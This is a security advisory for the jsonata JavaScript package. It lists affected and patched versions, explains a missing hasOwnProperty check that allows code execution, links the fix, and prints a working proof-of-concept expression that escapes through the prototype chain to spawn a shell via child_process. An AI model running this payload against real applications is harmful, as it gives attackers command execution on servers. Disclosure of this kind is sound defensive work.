| Package | Affected versions | Patched versions |
|---|---|---|
| jsonata | ≥ 2.0.0, < 2.2.0< 1.8.8 | 2.2.01.8.8 |
Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function:
https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.
import jsonata from "jsonata";
const expression = jsonata(`
(
__lookupSetter__('__proto__')(constructor);
__defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
valueOf().l
)
`);
await expression.evaluate({});
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